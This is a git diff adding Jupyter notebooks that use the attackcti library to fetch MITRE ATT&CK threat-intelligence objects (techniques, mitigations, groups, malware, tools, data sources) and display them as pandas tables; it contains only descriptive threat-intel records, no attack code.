20, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Number of Relationships in ATT&CK\n", + "15752\n" + ] + } + ], + "source": [ + "print(\"Number of Relationships in ATT&CK\")\n", + "len(relationships)" + ] + }, + { + "cell_type": "code", + "execution_count": 21, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
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typeidcreated_by_refcreatedmodifiedrelationship_typesource_reftarget_refobject_marking_refsdescriptionexternal_references
0relationshiprelationship--9567076b-2a77-43e4-befd-19556def...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b52021-11-10T09:30:48.753Z2021-11-10T09:30:48.753Zdetectsx-mitre-data-component--3d20385b-24ef-40e1-9f5...attack-pattern--910906dd-8c0a-475a-9cc1-5e029e...[marking-definition--fa42a846-8d90-4e51-bc29-7...NaNNaN
1relationshiprelationship--79fa693d-38b2-4730-8602-1f72eef5...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b52021-11-10T09:30:48.753Z2021-11-10T09:30:48.753Zdetectsx-mitre-data-component--9ce98c86-8d30-4043-ba5...attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9...[marking-definition--fa42a846-8d90-4e51-bc29-7...NaNNaN
2relationshiprelationship--ed1c4fff-998f-499d-8a00-cfdee554...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b52021-11-10T09:30:48.753Z2021-11-10T09:30:48.753Zdetectsx-mitre-data-component--9bde2f9d-a695-4344-bfa...attack-pattern--2959d63f-73fd-46a1-abd2-109d7d...[marking-definition--fa42a846-8d90-4e51-bc29-7...NaNNaN
3relationshiprelationship--41c0352d-b377-4fe9-8c3a-67b78a9a...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b52021-11-10T09:30:48.753Z2021-11-10T09:30:48.753Zdetectsx-mitre-data-component--c0a4a086-cc20-4e1e-b7c...attack-pattern--6836813e-8ec8-4375-b459-abb388...[marking-definition--fa42a846-8d90-4e51-bc29-7...NaNNaN
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" + ], + "text/plain": [ + " type id \\\n", + "0 relationship relationship--9567076b-2a77-43e4-befd-19556def... \n", + "1 relationship relationship--79fa693d-38b2-4730-8602-1f72eef5... \n", + "2 relationship relationship--ed1c4fff-998f-499d-8a00-cfdee554... \n", + "3 relationship relationship--41c0352d-b377-4fe9-8c3a-67b78a9a... \n", + "\n", + " created_by_ref created \\\n", + "0 identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 2021-11-10T09:30:48.753Z \n", + "1 identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 2021-11-10T09:30:48.753Z \n", + "2 identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 2021-11-10T09:30:48.753Z \n", + "3 identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 2021-11-10T09:30:48.753Z \n", + "\n", + " modified relationship_type \\\n", + "0 2021-11-10T09:30:48.753Z detects \n", + "1 2021-11-10T09:30:48.753Z detects \n", + "2 2021-11-10T09:30:48.753Z detects \n", + "3 2021-11-10T09:30:48.753Z detects \n", + "\n", + " source_ref \\\n", + "0 x-mitre-data-component--3d20385b-24ef-40e1-9f5... \n", + "1 x-mitre-data-component--9ce98c86-8d30-4043-ba5... \n", + "2 x-mitre-data-component--9bde2f9d-a695-4344-bfa... \n", + "3 x-mitre-data-component--c0a4a086-cc20-4e1e-b7c... \n", + "\n", + " target_ref \\\n", + "0 attack-pattern--910906dd-8c0a-475a-9cc1-5e029e... \n", + "1 attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9... \n", + "2 attack-pattern--2959d63f-73fd-46a1-abd2-109d7d... \n", + "3 attack-pattern--6836813e-8ec8-4375-b459-abb388... \n", + "\n", + " object_marking_refs description \\\n", + "0 [marking-definition--fa42a846-8d90-4e51-bc29-7... NaN \n", + "1 [marking-definition--fa42a846-8d90-4e51-bc29-7... NaN \n", + "2 [marking-definition--fa42a846-8d90-4e51-bc29-7... NaN \n", + "3 [marking-definition--fa42a846-8d90-4e51-bc29-7... NaN \n", + "\n", + " external_references \n", + "0 NaN \n", + "1 NaN \n", + "2 NaN \n", + "3 NaN " + ] + }, + "execution_count": 21, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "relations_list = []\n", + "for t in relationships:\n", + " relations_list.append(json.loads(t.serialize()))\n", + "df = pandas.json_normalize(relations_list)\n", + "df[0:4]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Get All Data Sources\n", + "Now that `data sources` are part of the ATT&CK data model as objects, we can retrieve all that information at once." + ] + }, + { + "cell_type": "code", + "execution_count": 22, + "metadata": {}, + "outputs": [], + "source": [ + "data_sources = lift.get_data_sources()" + ] + }, + { + "cell_type": "code", + "execution_count": 23, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Number of Data Sources in ATT&CK\n", + "38\n" + ] + } + ], + "source": [ + "print(\"Number of Data Sources in ATT&CK\")\n", + "len(data_sources)" + ] + }, + { + "cell_type": "code", + "execution_count": 24, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "{'object_marking_refs': ['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],\n", + " 'modified': '2021-10-20T15:05:19.275Z',\n", + " 'name': 'Internet Scan',\n", + " 'created_by_ref': 'identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5',\n", + " 'type': 'x-mitre-data-source',\n", + " 'id': 'x-mitre-data-source--38fe306c-bdec-4f3d-8521-b72dd32dbd17',\n", + " 'description': 'Information obtained (commonly via active network traffic probes or web crawling) regarding various types of resources and servers connected to the public Internet',\n", + " 'created': '2021-10-20T15:05:19.275Z',\n", + " 'external_references': [{'url': 'https://attack.mitre.org/datasources/DS0035',\n", + " 'external_id': 'DS0035',\n", + " 'source_name': 'mitre-attack'}],\n", + " 'x_mitre_version': '1.0',\n", + " 'x_mitre_platforms': ['PRE'],\n", + " 'x_mitre_collection_layers': ['OSINT'],\n", + " 'x_mitre_contributors': []}" + ] + }, + "execution_count": 24, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "data_sources[0]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Get All Data Components\n", + "Now that `data components` are also part of the ATT&CK data model as objects, we can retrieve all that information at once." + ] + }, + { + "cell_type": "code", + "execution_count": 25, + "metadata": {}, + "outputs": [], + "source": [ + "data_components = lift.get_data_components()" + ] + }, + { + "cell_type": "code", + "execution_count": 26, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Number of data components in ATT&CK\n", + "109\n" + ] + } + ], + "source": [ + "print(\"Number of data components in ATT&CK\")\n", + "len(data_components)" + ] + }, + { + "cell_type": "code", + "execution_count": 27, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "{'object_marking_refs': ['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],\n", + " 'modified': '2021-10-20T15:05:19.275Z',\n", + " 'id': 'x-mitre-data-component--cc150ad8-ecfa-4340-9aaa-d21165873bd4',\n", + " 'description': 'Logged domain name system (DNS) data highlighting timelines of domain to IP address resolutions (ex: passive DNS)',\n", + " 'created_by_ref': 'identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5',\n", + " 'name': 'Passive DNS',\n", + " 'created': '2021-10-20T15:05:19.275Z',\n", + " 'type': 'x-mitre-data-component',\n", + " 'x_mitre_version': '1.0',\n", + " 'x_mitre_data_source_ref': 'x-mitre-data-source--dd75f457-8dc0-4a24-9ae5-4b61c33af866'}" + ] + }, + "execution_count": 27, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "data_components[0]" + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.9.5" + } + }, + "nbformat": 4, + "nbformat_minor": 4 +} diff --git a/docs/playground/2-Collect_Matrix_Specific_Functions.ipynb b/docs/playground/2-Collect_Matrix_Specific_Functions.ipynb new file mode 100644 index 0000000..918e9c6 --- /dev/null +++ b/docs/playground/2-Collect_Matrix_Specific_Functions.ipynb @@ -0,0 +1,2039 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "# Collect Matrix Specific Functions\n", + "------------------\n", + "This project also comes with functions that collect several STIX objects from specific ATT&CK matrices. These functions help to collect more with less API call requests one matrix at the time." + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Import ATTACK API Client" + ] + }, + { + "cell_type": "code", + "execution_count": 1, + "metadata": {}, + "outputs": [], + "source": [ + "from attackcti import attack_client" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Import Extra Libraries" + ] + }, + { + "cell_type": "code", + "execution_count": 2, + "metadata": {}, + "outputs": [], + "source": [ + "from pandas import *\n", + "import json\n", + "\n", + "import logging\n", + "logging.getLogger('taxii2client').setLevel(logging.CRITICAL)" + ] + }, + { + "cell_type": "code", + "execution_count": 3, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "'1.3.5'" + ] + }, + "execution_count": 3, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "pandas.__version__" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Initialize ATT&CK Client Variable" + ] + }, + { + "cell_type": "code", + "execution_count": 4, + "metadata": {}, + "outputs": [], + "source": [ + "lift = attack_client()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Collect Enterprise ATT&CK\n", + "We can start by collecting everything from Enterprise ATT&CK such as 'techniques', 'data-component', 'mitigations', 'groups', 'malware', 'tools', 'data-source', 'relationships', 'tactics', 'matrix', 'identity', 'marking-definition'. This function returns a dictionary where keys are mapped to each type of object available in the matrix." + ] + }, + { + "cell_type": "code", + "execution_count": 5, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Wall time: 9.6 s\n" + ] + } + ], + "source": [ + "%time enterprise = lift.get_enterprise()" + ] + }, + { + "cell_type": "code", + "execution_count": 6, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "dict_keys(['techniques', 'data-component', 'mitigations', 'groups', 'malware', 'tools', 'data-source', 'relationships', 'tactics', 'matrix', 'identity', 'marking-definition'])" + ] + }, + "execution_count": 6, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "enterprise.keys()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### Access All Enterprise Techniques\n", + "We can then access information such as `techniques` from the all the data collected from `enterprise`:" + ] + }, + { + "cell_type": "code", + "execution_count": 7, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Number of Techniques in Enterprise ATT&CK\n" + ] + }, + { + "data": { + "text/plain": [ + "566" + ] + }, + "execution_count": 7, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "print(\"Number of Techniques in Enterprise ATT&CK\")\n", + "len(enterprise['techniques'])" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "By default, the data returned by the available functions in the attackcti library is of type **stix2**. However, if you want to interact with libraries such as **Pandas**, it needs to be of type **dict**" + ] + }, + { + "cell_type": "code", + "execution_count": 8, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
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creatednamex_mitre_data_sourcesx_mitre_platforms
02021-10-12T20:02:31.866ZResource Forking[File: File Creation, Process: Process Creatio...[macOS]
12021-10-08T14:06:28.212ZDowngrade Attack[Command: Command Execution, Process: Process ...[Windows, Linux, macOS]
22021-10-05T21:26:15.081ZLogin Items[Process: Process Creation, File: File Modific...[macOS]
32021-10-05T01:15:06.293ZReflective Code Loading[Script: Script Execution, Process: OS API Exe...[macOS, Linux, Windows]
42021-10-01T17:58:26.445ZCloud Storage Object Discovery[Cloud Storage: Cloud Storage Enumeration, Clo...[IaaS]
\n", + "
" + ], + "text/plain": [ + " created name \\\n", + "0 2021-10-12T20:02:31.866Z Resource Forking \n", + "1 2021-10-08T14:06:28.212Z Downgrade Attack \n", + "2 2021-10-05T21:26:15.081Z Login Items \n", + "3 2021-10-05T01:15:06.293Z Reflective Code Loading \n", + "4 2021-10-01T17:58:26.445Z Cloud Storage Object Discovery \n", + "\n", + " x_mitre_data_sources x_mitre_platforms \n", + "0 [File: File Creation, Process: Process Creatio... [macOS] \n", + "1 [Command: Command Execution, Process: Process ... [Windows, Linux, macOS] \n", + "2 [Process: Process Creation, File: File Modific... [macOS] \n", + "3 [Script: Script Execution, Process: OS API Exe... [macOS, Linux, Windows] \n", + "4 [Cloud Storage: Cloud Storage Enumeration, Clo... [IaaS] " + ] + }, + "execution_count": 8, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "techniques = []\n", + "for t in enterprise['techniques']:\n", + " techniques.append(json.loads(t.serialize()))\n", + "df = pandas.json_normalize(techniques)\n", + "df.reindex(['created','name', 'x_mitre_data_sources', 'x_mitre_platforms'], axis=1)[0:5]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Collect Enterprise Techniques\n", + "Rather than collecting all STIX objects from `enterprise` and filtering on only `techniques`, we can use the following function to retrieve only techniques from ATT&CK TAXII server. " + ] + }, + { + "cell_type": "code", + "execution_count": 9, + "metadata": {}, + "outputs": [], + "source": [ + "enterprise_techniques = lift.get_enterprise_techniques()" + ] + }, + { + "cell_type": "code", + "execution_count": 10, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Number of Techniques in Enterprise ATT&CK\n" + ] + }, + { + "data": { + "text/plain": [ + "566" + ] + }, + "execution_count": 10, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "print(\"Number of Techniques in Enterprise ATT&CK\")\n", + "len(enterprise_techniques)" + ] + }, + { + "cell_type": "code", + "execution_count": 76, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "AttackPattern(type='attack-pattern', id='attack-pattern--b22e5153-ac28-4cc6-865c-2054e36285cb', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2021-10-12T20:02:31.866Z', modified='2021-10-16T01:50:40.276Z', name='Resource Forking', description='Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.(Citation: macOS Hierarchical File System Overview) Usage of a resource fork is identifiable when displaying a file’s extended attributes, using ls -l@ or xattr -l commands. Resource forks have been deprecated and replaced with the application bundle structure. Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the /Resources folder.(Citation: Resource and Data Forks)(Citation: ELC Extended Attributes)\\n\\nAdversaries can use resource forks to hide malicious data that may otherwise be stored directly in files. Adversaries can execute content with an attached resource fork, at a specified offset, that is moved to an executable location then invoked. Resource fork content may also be obfuscated/encrypted until execution.(Citation: sentinellabs resource named fork 2020)(Citation: tau bundlore erika noerenberg 2020)', kill_chain_phases=[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')], revoked=False, external_references=[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1564/009', external_id='T1564.009'), ExternalReference(source_name='macOS Hierarchical File System Overview', description='Tenon. (n.d.). Retrieved October 12, 2021.', url='http://tenon.com/products/codebuilder/User_Guide/6_File_Systems.html#anchor520553'), ExternalReference(source_name='Resource and Data Forks', description='Flylib. (n.d.). Identifying Resource and Data Forks. Retrieved October 12, 2021.', url='https://flylib.com/books/en/4.395.1.192/1/'), ExternalReference(source_name='ELC Extended Attributes', description=\"Howard Oakley. (2020, October 24). There's more to files than data: Extended Attributes. Retrieved October 12, 2021.\", url='https://eclecticlight.co/2020/10/24/theres-more-to-files-than-data-extended-attributes/'), ExternalReference(source_name='sentinellabs resource named fork 2020', description='Phil Stokes. (2020, November 5). Resourceful macOS Malware Hides in Named Fork. Retrieved October 12, 2021.', url='https://www.sentinelone.com/labs/resourceful-macos-malware-hides-in-named-fork/'), ExternalReference(source_name='tau bundlore erika noerenberg 2020', description='Erika Noerenberg. (2020, June 29). TAU Threat Analysis: Bundlore (macOS) mm-install-macos. Retrieved October 12, 2021.', url='https://blogs.vmware.com/security/2020/06/tau-threat-analysis-bundlore-macos-mm-install-macos.html')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], x_mitre_contributors=['Jaron Bradley @jbradley89', 'Ivan Sinyakov'], x_mitre_data_sources=['File: File Creation', 'Process: Process Creation', 'File: File Metadata', 'Command: Command Execution'], x_mitre_defense_bypassed=['Notarization; Gatekeeper'], x_mitre_detection='Identify files with the com.apple.ResourceFork extended attribute and large data amounts stored in resource forks. \\n\\nMonitor command-line activity leveraging the use of resource forks, especially those immediately followed by potentially malicious activity such as creating network connections. ', x_mitre_is_subtechnique=True, x_mitre_permissions_required=['User'], x_mitre_platforms=['macOS'], x_mitre_version='1.0')" + ] + }, + "execution_count": 76, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "enterprise_techniques[0]" + ] + }, + { + "cell_type": "code", + "execution_count": 11, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
\n", + "\n", + "\n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + "
creatednamex_mitre_data_sourcesx_mitre_platforms
02021-10-12T20:02:31.866ZResource Forking[File: File Creation, Process: Process Creatio...[macOS]
12021-10-08T14:06:28.212ZDowngrade Attack[Command: Command Execution, Process: Process ...[Windows, Linux, macOS]
22021-10-05T21:26:15.081ZLogin Items[Process: Process Creation, File: File Modific...[macOS]
32021-10-05T01:15:06.293ZReflective Code Loading[Script: Script Execution, Process: OS API Exe...[macOS, Linux, Windows]
42021-10-01T17:58:26.445ZCloud Storage Object Discovery[Cloud Storage: Cloud Storage Enumeration, Clo...[IaaS]
\n", + "
" + ], + "text/plain": [ + " created name \\\n", + "0 2021-10-12T20:02:31.866Z Resource Forking \n", + "1 2021-10-08T14:06:28.212Z Downgrade Attack \n", + "2 2021-10-05T21:26:15.081Z Login Items \n", + "3 2021-10-05T01:15:06.293Z Reflective Code Loading \n", + "4 2021-10-01T17:58:26.445Z Cloud Storage Object Discovery \n", + "\n", + " x_mitre_data_sources x_mitre_platforms \n", + "0 [File: File Creation, Process: Process Creatio... [macOS] \n", + "1 [Command: Command Execution, Process: Process ... [Windows, Linux, macOS] \n", + "2 [Process: Process Creation, File: File Modific... [macOS] \n", + "3 [Script: Script Execution, Process: OS API Exe... [macOS, Linux, Windows] \n", + "4 [Cloud Storage: Cloud Storage Enumeration, Clo... [IaaS] " + ] + }, + "execution_count": 11, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "techniques = []\n", + "for t in enterprise_techniques:\n", + " techniques.append(json.loads(t.serialize()))\n", + "df = pandas.json_normalize(techniques)\n", + "df.reindex(['created','name', 'x_mitre_data_sources', 'x_mitre_platforms'], axis=1)[0:5]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Collect Enterprise Mitigations" + ] + }, + { + "cell_type": "code", + "execution_count": 12, + "metadata": {}, + "outputs": [], + "source": [ + "enterprise_mitigations = lift.get_enterprise_mitigations()" + ] + }, + { + "cell_type": "code", + "execution_count": 13, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Number of Mitigations in Enterprise ATT&CK\n" + ] + }, + { + "data": { + "text/plain": [ + "267" + ] + }, + "execution_count": 13, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "print(\"Number of Mitigations in Enterprise ATT&CK\")\n", + "len(enterprise_mitigations)" + ] + }, + { + "cell_type": "code", + "execution_count": 14, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "CourseOfAction(type='course-of-action', id='course-of-action--65401701-019d-44ff-b223-08d520bb0e7b', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2021-08-04T21:22:11.612Z', modified='2021-08-30T15:00:10.680Z', name='Data Loss Prevention', description='Use a data loss prevention (DLP) strategy to categorize sensitive data, identify data formats indicative of personal identifiable information (PII), and restrict exfiltration of sensitive data.(Citation: PurpleSec Data Loss Prevention)', revoked=False, external_references=[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/mitigations/M1057', external_id='M1057'), ExternalReference(source_name='PurpleSec Data Loss Prevention', description='Michael Swanagan. (2020, October 24). 7 Data Loss Prevention Best Practices & Strategies. Retrieved August 30, 2021.', url='https://purplesec.us/data-loss-prevention/')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], x_mitre_version='1.0')" + ] + }, + "execution_count": 14, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "enterprise_mitigations[0]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Collect Enterprise Groups" + ] + }, + { + "cell_type": "code", + "execution_count": 15, + "metadata": {}, + "outputs": [], + "source": [ + "enterprise_groups = lift.get_enterprise_groups()" + ] + }, + { + "cell_type": "code", + "execution_count": 16, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Number of Groups in Enterprise ATT&CK\n" + ] + }, + { + "data": { + "text/plain": [ + "128" + ] + }, + "execution_count": 16, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "print(\"Number of Groups in Enterprise ATT&CK\")\n", + "len(enterprise_groups)" + ] + }, + { + "cell_type": "code", + "execution_count": 17, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "IntrusionSet(type='intrusion-set', id='intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2021-10-01T01:57:31.229Z', modified='2021-10-15T18:47:18.824Z', name='TeamTNT', description='[TeamTNT](https://attack.mitre.org/groups/G0139) is a threat group that has primarily targeted cloud and containerized environments. The group as been active since at least October 2019 and has mainly focused its efforts on leveraging cloud and container resources to deploy cryptocurrency miners in victim environments. (Citation: Palo Alto Black-T October 2020)(Citation: Lacework TeamTNT May 2021)(Citation: Intezer TeamTNT September 2020)(Citation: Cado Security TeamTNT Worm August 2020)(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro TeamTNT)(Citation: ATT TeamTNT Chimaera September 2020)(Citation: Aqua TeamTNT August 2020)(Citation: Intezer TeamTNT Explosion September 2021)', aliases=['TeamTNT'], revoked=False, external_references=[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/groups/G0139', external_id='G0139'), ExternalReference(source_name='Palo Alto Black-T October 2020', description='Quist, N. (2020, October 5). Black-T: New Cryptojacking Variant from TeamTNT. Retrieved September 22, 2021.', url='https://unit42.paloaltonetworks.com/black-t-cryptojacking-variant/'), ExternalReference(source_name='Lacework TeamTNT May 2021', description=\"Stroud, J. (2021, May 25). Taking TeamTNT's Docker Images Offline. Retrieved September 22, 2021.\", url='https://www.lacework.com/blog/taking-teamtnt-docker-images-offline/'), ExternalReference(source_name='Intezer TeamTNT September 2020', description='Fishbein, N. (2020, September 8). Attackers Abusing Legitimate Cloud Monitoring Tools to Conduct Cyber Attacks. Retrieved September 22, 2021.', url='https://www.intezer.com/blog/cloud-security/attackers-abusing-legitimate-cloud-monitoring-tools-to-conduct-cyber-attacks/'), ExternalReference(source_name='Cado Security TeamTNT Worm August 2020', description='Cado Security. (2020, August 16). Team TNT – The First Crypto-Mining Worm to Steal AWS Credentials. Retrieved September 22, 2021.', url='https://www.cadosecurity.com/team-tnt-the-first-crypto-mining-worm-to-steal-aws-credentials/'), ExternalReference(source_name='Unit 42 Hildegard Malware', description='Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.', url='https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/'), ExternalReference(source_name='Trend Micro TeamTNT', description='Fiser, D. Oliveira, A. (n.d.). Tracking the Activities of TeamTNT A Closer Look at a Cloud-Focused Malicious Actor Group. Retrieved September 22, 2021.', url='https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf'), ExternalReference(source_name='ATT TeamTNT Chimaera September 2020', description='AT&T Alien Labs. (2021, September 8). TeamTNT with new campaign aka Chimaera. Retrieved September 22, 2021.', url='https://cybersecurity.att.com/blogs/labs-research/teamtnt-with-new-campaign-aka-chimaera'), ExternalReference(source_name='Aqua TeamTNT August 2020', description='Kol, Roi. Morag, A. (2020, August 25). Deep Analysis of TeamTNT Techniques Using Container Images to Attack. Retrieved September 22, 2021.', url='https://blog.aquasec.com/container-security-tnt-container-attack'), ExternalReference(source_name='Intezer TeamTNT Explosion September 2021', description='Intezer. (2021, September 1). TeamTNT Cryptomining Explosion. Retrieved October 15, 2021.', url='https://www.intezer.com/wp-content/uploads/2021/09/TeamTNT-Cryptomining-Explosion.pdf')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], x_mitre_contributors=['Will Thomas, Cyjax'], x_mitre_version='1.0')" + ] + }, + "execution_count": 17, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "enterprise_groups[0]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Collect Enterprise Malware" + ] + }, + { + "cell_type": "code", + "execution_count": 18, + "metadata": {}, + "outputs": [], + "source": [ + "enterprise_malware = lift.get_enterprise_malware()" + ] + }, + { + "cell_type": "code", + "execution_count": 19, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Number of Malware in Enterprise ATT&CK\n" + ] + }, + { + "data": { + "text/plain": [ + "474" + ] + }, + "execution_count": 19, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "print(\"Number of Malware in Enterprise ATT&CK\")\n", + "len(enterprise_malware)" + ] + }, + { + "cell_type": "code", + "execution_count": 20, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "Malware(type='malware', id='malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2021-10-05T21:58:51.161Z', modified='2021-10-19T00:43:30.036Z', name='XCSSET', description='[XCSSET](https://attack.mitre.org/software/S0658) is a macOS modular backdoor that targets Xcode application developers. [XCSSET](https://attack.mitre.org/software/S0658) was first observed in August 2020 and has been used to install a backdoor component, modify browser applications, conduct collection, and provide ransomware-like encryption capabilities.(Citation: trendmicro xcsset xcode project 2020)', revoked=False, labels=['malware'], external_references=[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/software/S0658', external_id='S0658'), ExternalReference(source_name='XCSSET', description='(Citation: trendmicro xcsset xcode project 2020)'), ExternalReference(source_name='OSX.DubRobber', description='(Citation: malwarebyteslabs xcsset dubrobber)'), ExternalReference(source_name='trendmicro xcsset xcode project 2020', description='Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021.', url='https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf'), ExternalReference(source_name='malwarebyteslabs xcsset dubrobber', description='Thomas Reed. (2020, April 21). OSX.DubRobber. Retrieved October 5, 2021.', url='https://blog.malwarebytes.com/detections/osx-dubrobber/')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], x_mitre_aliases=['XCSSET', 'OSX.DubRobber'], x_mitre_platforms=['macOS'], x_mitre_version='1.0')" + ] + }, + "execution_count": 20, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "enterprise_malware[0]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Collect Enterprise Tools" + ] + }, + { + "cell_type": "code", + "execution_count": 21, + "metadata": {}, + "outputs": [], + "source": [ + "enterprise_tools = lift.get_enterprise_tools()" + ] + }, + { + "cell_type": "code", + "execution_count": 22, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Number of Tools in Enterprise ATT&CK\n" + ] + }, + { + "data": { + "text/plain": [ + "72" + ] + }, + "execution_count": 22, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "print(\"Number of Tools in Enterprise ATT&CK\")\n", + "len(enterprise_tools)" + ] + }, + { + "cell_type": "code", + "execution_count": 23, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "Tool(type='tool', id='tool--f91162cc-1686-4ff8-8115-bf3f61a4cc7a', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2021-09-14T21:45:30.280Z', modified='2021-09-21T18:03:13.205Z', name='Wevtutil', description='[Wevtutil](https://attack.mitre.org/software/S0645) is a Windows command-line utility that enables administrators to retrieve information about event logs and publishers.(Citation: Wevtutil Microsoft Documentation)', revoked=False, labels=['tool'], external_references=[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/software/S0645', external_id='S0645'), ExternalReference(source_name='Wevtutil Microsoft Documentation', 